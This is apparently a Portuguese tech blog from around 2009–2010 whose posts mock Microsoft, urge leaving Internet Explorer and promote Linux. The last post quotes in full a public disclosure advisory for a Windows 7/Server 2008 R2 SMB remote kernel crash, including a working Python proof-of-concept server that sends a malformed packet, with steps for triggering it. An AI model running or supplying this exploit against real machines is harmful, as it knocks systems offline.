AGORA, É A FRANÇA...

Depois da Alemanha chega a vez da França a desaconselhar o uso de Internet Exploiter.

Pela república das bananas nem um pio...

Não fique à espera e mude já.

Ok, ok, reconheço que para a grande maioria dos utilizadores basta um ícone mudar de local no "ambiente de trabalho" para serem acometidos de um ataque cardíaco quanto falar de mudar de browser. Se pretenderem manter o Internet Exploder, pelo menos, peçam a alguém para:

1. Instalar a versão mais recente deste "browser";

2. Instalar a versão mais recente de um bom anti-vírus;

3. Instalar a versão mais recente de um bom anti-malware;

4. Instalar a versão mais recente de um bom anti-spyware;

5. Desligar ActiveX;

6. Desligar Java.

Isto, pelo menos!

Não é mais fácil mudar de browser?

Pessoalmente, caso utilize esta treta, o melhor que faz é desligar a tomada...

Correcção: No post anterior mencionei a Adobe como co-culpada pelo que aconteceu mas tal é falso. Na realidade a culpa apenas recai numa empresa - M$.

GOVERNO ALEMÃO ACONSELHA NÃO USAR IE

Após os recentes ataques a Google, e mais 20 a 32 companhias conforme se vai encontrando pela Internet, o governo alemão desaconselha o uso do Internet Exploiter enquanto a M$ não reparar o enorme buraco que mora lá por aquelas bandas.

Até que enfim alguém começa a tomar medidas contra a passividade bovina com que a M$ "protege" os seus fiéis clientes!

Como é este o exemplo - "which may include providing a solution".

Já não era sem tempo e apenas sabe a pouco porque os restantes países acólitos da M$ nem sequer pensam em levantar ondas contra os seus queridos parceiros, como é o reconhecido caso de uma República das Bananas que todos conhecemos.

O mais interessante (não) passa pelas "televisões" portuguesas. Se, todos lampeiros, anunciaram ao mundo e a um cão que a Adobe tinha sido atacada e noutros casos também um atirar de culpas pelo sucedido para os ombros desta companhia, já quanto ao buracão da M$, que para além da Adobe tem grande parte das culpas, nem um pio se ouve. É mesmo muito estranho que ninguém saia a terreiro para anunciar este problema já que como todos sabem os utilizadores deste browser deixam muito a desejar quanto à sua própria segurança. Como é óbvio, não pretendo afirmar que a culpa é inteiramente do utilizador como o faz a M$ já que ele não tem qualquer culpa no assunto - fizeram-no assim com a "tal" facilidade do "é só click, click, click".

Assim, já sabe que se estiver a utilizar o Internet Exploiter é capaz de ser melhor mudar para outro como o Firefox ou Google Chrome e como podem ver este conselho até nem é meu mas sim dum país credível. É que no meu caso, iria mais longe e aconselharia mesmo largar tudo o que tem a marca da M$, excepto os ratos e teclados, e a imediata mudança para um software verdadeiramente seguro e completamente Livre como Gnu/Linux, BSD ou openSolaris.

LINUX 101 HACKS

A versão html.

Nesta página também se encontra a versão em pdf que já há algum tempo é disponibilizada livremente.

Para mais informações e também a password que dá direito ao download, nada como ir até aqui.

Boa leitura.

POLVOS E POLVOS E AINDA MAIS POLVOS

O que terá dado nos "jornalistas" da RTP1 para num dia milhares de 'pólvos' darem à costa para no dia imediato serem secundados por mais uns milhares, desta vez, de 'pôlvos'!?
Eu tenho cá para mim que 'polvos' mantém a mesma tónica do singular mas os sabichões da RTP1 sabem disto a pacotes e certamente considerarão as duas formas correctas, não é!?

MY NAME IS BEAN, ZAPATERO BEAN...

Este é um dos tais "defaces" bem conseguidos já que há alguns anos os espanhóis fazem uma paródia acerca da parecença entre os dois.

Fonte




Hum...

2009 - BIT.(H)ATE (1) (CORRECÇÃO)

Foi o ano da plena demonstração de que George W. Bush era tão mau, tão mau que resolveram dar o Prémio Nobel da Paz ao gajo que apenas fez uma única coisa em prol da humanidade - derrotou a subsequência dele nas eleições!

(agradecimentos pelo comentário rectificativo)

DESCULPEM, PODEM REPETIR!?

"The core mission of CSI is to win share against Linux and OpenOffice.org by designing and driving marketing programs, changing perceptions, engaging with Open Source communities and organizations, and drive internal readiness on how to compete with Commercial Linux and participate with Open Source Communities."

Pois, Linux e OpenOffice...

Steven Ballmer deve andar mesmo preocupado. Ele, lá deverá saber mais qualquer coisita que os habituais analistas/jornalistas "independentes" que por aí arrotam postas de pescada, certamente não sabem...
Ah!, e este reconhecimento de que querem alguém que se infiltre nas comunidades Open Source para futuramente as destruir, também lhes assenta muito bem. Assim, para os meninos interessados em concorrer a esta vaga desde já passo a avisar que escusam de gastar o vosso tempo. Começando por Miguel de Icaza ainda restam nas mais diversas "fundações" da M$ mais uns milhares que por aí se dizem Livres e Abertos para executar estre trabalhinho sujo.

Apesar do lugar já estar ocupado, parece-me óbvio que será escusado virem para aqui treinar os vossos dotes...

PARABÉNS LINUS

Foi há 40 anos, precisamente há quarenta anos, que nasceu aquele que viria trazer uma luz de esperança a todos aqueles que desejam ser Livres, verdadeiramente Livres.

Parabéns Linus Torvalds e obrigado por me ofereceres, e também a muitos outros, tamanha prenda.

PRENDA DE NATAL ATRASADA...

Embora com um pouco de atraso, eis uma prenda de Natal para todos os utilizadores de Ubuntu.
Jogos, jogos e mais jogos com uma instalação "mesmo" fácil.
Onde?
Ainda em versão beta - Playdeb.

Nota: Chamo a atenção que, apesar de grátis, nem todos os jogos são verdadeiramente Livres.

iPod "MATA"

Quem diria que um iPod poderia dar cabo da vida a duas pessoas!?

Aparentemente, David Mapu foi assassinado com um tiro nas costas devido à disputa de um iPod presumivelmente roubado. Após ter sido identificado o presumível assassino, John Chinh Vu, a polícia acabaria mais tarde por o encontrar e numa troca de tiros resultaria na sua morte.

Quem diria que um simples iPod poderia originar duas mortes?

"MELHORES" PATENTES DE 2009

Sem comentários.

(descaradamente roubado de The New York Times)

SEM COMENTÁRIOS

ESTE PESSOAL ANDA A ESTICAR-SE

25!

Ficam à disposição de quem quiser. Atenção que alguns já tem dono.

BEM...

São capazes de imaginar uma polémica(*) entre este logo oficial dos Jogos Olímpicos Londres 2012 e a nova lei britânica contra a pornografia?

Querem uma dica?

Pensem em Lisa Simpson...

Se ainda não chegaram lá ou querem saber mais sobre esta recente polémica basta ir nesta direcção.

Divirtam-se que esta semana é mais curta.

(*) - para além de ter custado a módica quantia de £400.000!

INBRICS = REVOLUÇÃO?

Desculpem lá qualquer coisinha mas trata-se mais uma vez de Powered by "Linux" e também mais uma vez - ANDROID.

INBRICS.

MODELOS 3D COM UMA SIMPLES WEBCAM

"12/Nov/2009 - In a few months time when code porting (to new library versions) is complete, a Linux-based demo of ProFORMA should be released. This will be followed by a windows based demo."
Ok., fico à espera.

Como não podia deixar de ser lá andam estes malandrecos a "inventar" alta-tecnologia" e a disponibilizá-la inicialmente para "Linux". Porque será?
Comparem com o "feudalismo" M$ que grassa por cá apenas devido ao servilismo deste desgoverno face ao monopólio. Milhões, mais milhões e ainda mais milhões atirados ao vento apenas para provar que a tecnologia não é uma prostituta mas sim de quem a merece mesmo que estejam a trabalhar com ferramentas Livres e Abertas.

PAI NATAL, ESTÁS A OUVIR?

Sim?
Então pensa bem nisto, ok?

PARECE UMA ANEDOTA MAS NÃO É

Ou, colocado de outra forma, eis a "prova provada" como uma bola de futebol poderá eventualmente desencadear em Guerra Mundial...

Intervenientes:
- Consulat Général de France - CGF, usado a partir deste momento vs Department of Diplomatic Affairs (Irlanda) - DDA, usado a partir deste momento.

CGF - "(...) the President has requested that you provide a VIP box for the game(...)"

DDA - "(...) We would just like some clarification regarding the VIP box as there are a number of options available. Do you have any preferences re:size?"

CGF - "(...) We were not aware that boxes at the stadium came in different sizes. Do the dimensions have any bearing on one's enjoyment of the game?"

DDA - "(...) The overall match experience will certainly be influenced by the President's choice of box. The first box is 30cm (...) The second box is 60 cm (...) Rest assured that we will be treating this matter with the utmost confidentiality."

CGF - "(...) When we request a 'VIP box' for our President, we were not looking for a box for him to stand on. Whilst we expect the foreign media to make humorous evidence about the President's stature, we do not expect this from an official representative of the Irish Government department."

DDA - "Please accept our apologies and those of the executive Hospitality Committee(...). There was certainly no intentional attempt at humour on our part and we hope that you accept this as a genuine misunderstanding. Naturally, we will make a VIP 'Executive' box available to the President, with full security and hospitality arrangements in place. The boxes will then be placed discreetly inside."

CGF - "In light of the lack of respect we feel your office has displayed in response to an official request from a visiting Head of State, the President has decided to watch the match in Paris instead. Rest assured that we will be lodging a formal complaint regarding your conduct at the highest levels."

DDA - "Fair enough. We look forward to seeing the boys in green give your lot a good hammering"

Ooooouuuuucccchhhhh. Pontapé nas bolas!
Infelizmente, como é óbvio segundo o ponto de vista dos irlandeses, a selecção irlandesa perdeu por uma bola a zero...

E agora?
Será desta que o pequenote-armado-em-Napoleão se faz ao mar e invade esses humorísticos irlandeses?

Como é lógico, estou apenas a brincar com estas coisas. De facto, sei que isto não se faz a um Presidente de uma Nação soberana mesmo que este seja um meia-tijela com intenções de reconquistar o antigo Império Napoleónico. Note-se que estou novamente a brincar, ok?
Só a brincar gozaria com a pequenez de um homenzinho que se quer armar em grande.
Peço desculpa pela minha brincadeira. No fundo, bem lá no fundo, tenho a noção estas coisas não se fazem. Não torno a gozar com a altura do baixinho.
Assim como assim o Asterix também era minúsculo e conquistou o mundo. Um pouco de poção mágica e voila.
Ah!, pois esqueci-me que este não tem a poção mágica. Bem, este baixote co-príncipe de Andorra pode não ter uma poção mágica mas em contrapartida tem o seu pé-de-feijão. E que feijãozinho...
Basta trepar e matar todos os gigantes, para aí 99,9% da população masculina mundial mesmo os chineses mais pequenotes, para poder exclamar:
- Eu sou o Maior!

DIVIRTA-SE

Já há algum tempo alguém me tinha falado do FoxVox mas infelizmente nunca consegui saber mais sobre o assunto e entretanto também me esqueci da sua existência.
Postanto (não é gralha, não), quem me falou no FoxVox ponha o dedo no ar que a bejeca é por minha conta e no caso de ser no Porto talvez ainda siga uma francesinha num bar que recomendo.
Se tem blog?
Claro que tem.
Voltando ao assunto, este plugin para o Firefox é deveras interessante, embora a Maria fale um português que não consigo encaixar em qualquer região do nosso país, e dá para fazer umas brincadeiras tal com este músico do blog OSGEEX prova. Utilizando o FoxVox para ler alguns resumos de textos do evangelho segundo M$ "Evangelism is War!"(*), e misturando uma música própria, de qualidade muito duvidosa desde já aviso, criou uma canção que intitulou - "Tales from the Dark Side: Microsoft - The Slog".
Em resumo, como ele diz num comentário:
- "(...) This is my way of exposing Microsoft's dirty tricks to mankind.
I hope they will face the facts one fine day ;-)"

Eu também, acrescento.

Divirtam-se.

(*) - estes textos de natureza confidencial foram mostrados publicamente devido ao processo "Commes vs Microsoft" e onde se mostra até onde uma empresa pode ir para arrasar tudo e todos que lhe façam frente. Se estiverem interessados nesse mesmo post existem várias referências onde poderão consultar estas "obras-primas" do evangelismo mas desde já passo a avisar que o documento é extenso e mais facilmente poderão ver do que se trata se analisarem bem os comentários de diversas personagens que por aí andam.
Não precisam de nomes pois não?
É que se precisarem basta ir até a um site onde se possa esclarecer a natureza dos nomes. Foram todos escolhidos por lá.  :-)

(MOST SECURE OS EVER) - REDMOND, WE'VE GOT A PROBLEM.

Big problem!

Como não vejo qualquer outra forma de colocar aqui o problema sem ir preso devido a um aborto de Lei que por aí anda, Lei 109/2009 de 15 de Setembro, nem tampouco dizer se já experimentei ou não já que qualquer tentativa dá direito a uma pena mais severa que à dada (ou deveria dizer não dada?) aos ladrões de cartola que agora aparecem diariamente aos montes a meter a mão a milhões, irei transcrever na íntegra um grande problema que se afecta todos aqueles que utilizam Windows 7 e Server 2008 RC2 e também todos aqueles que o utilizarão até ao dia em que a M$ se importe verdadeiramente com os seus utilizadores e deixe de pensar apenas na carteira dos seus investidores.
Sem mais delongas:

"This bug is a real proof that SDL #FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL would have ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotly smashed via IE or even via some broadcasting nbns tricks (no user interaction)
How funny.

Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
-------------------------
#FAIL,#FAIL,#FAIL
SDL FAIL, 'Most Secure Os Ever' --> Remote Kernel in 2 mn.
#FAIL,#FAIL,#FAIL

III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Windows 7/Server 2008R2
on a LAN or via IE

VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2

VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
-------------------------
More Remote Kernel FD @MS to come. "

Quanto ao facto de eventualmente (*) isto não se poder fazer em Portugal, esse tal país que é um assombro Tecnológico mas que castra toda e qualquer investigação nesta área com uma porcaria copiada de alguém que não deveria servir de exemplo, aproveito para deixar aqui um comentário que pode servir a quem de direito:
- "That's the cost of security by obscurity and propaganda.
Like it or not, it's like that."

NOTA: o "bold" e letra vermelha são da responsabilidade do dono desta tasca, com a intenção de chamar a atenção para partes que são deveras importantes e a reter.

(*) - Apenas eventualemente. Alguém com conhecimentos jurídicos poderá informar melhor acerca desta coisa a que resolveram chamar de Lei. Segundo aquilo que consigo ler no Artigo 4º é uma mera tentativa de estourar um programa dá "direita" a uma punição!
Ou seja, meninos não estudem informática porque o nosso querido desgoverno não vos deixa fazer nada excepto pagar o imposto M$!

PS1: Se não perceberam bem o que se está a passar leiam os posts anteriores de Laurent Gaffié. Andava para aqui calado à espera do que isto iria dar já que suspeitei desde o 1º momento do facto do Windows 7 e Server RC2 estarem livres do bug do SMB.2 já aqui narrado. Como é óbvio também fiquei à espera do remendo da M$ que lá acabou por aparecer na tradicional data que a M$ estipula para estas coisas e, não a título excepcional como seria forçoso que tal acontecesse mais cedo, como um "sábio" da M$ aqui tentou transmitir só que recusado devido à sua alma de carroceiro. Bem, como é hábito, foi pior a emenda que o soneto tal como a M$ já nos vai habituando a estas coisas - remendos de remendos de remendos de remendos. Ah!, e nesta última actualização de (cof... cof... cof...) "segurança" há mais um grave erro mas isso fica para amanhã e após ter a certeza de qual o procedimento correcto.

PS2: Não mudem para SO's de jeito não.

(disclaimer: este conselho não se destina aos meninos que apenas usam o computador para se armarem em piratas dos sete mares, brincar aos soldadinhos, génios do futebol e afins. Apenas se destina a pessoas responsáveis - BUSINESS IMPACT, see?)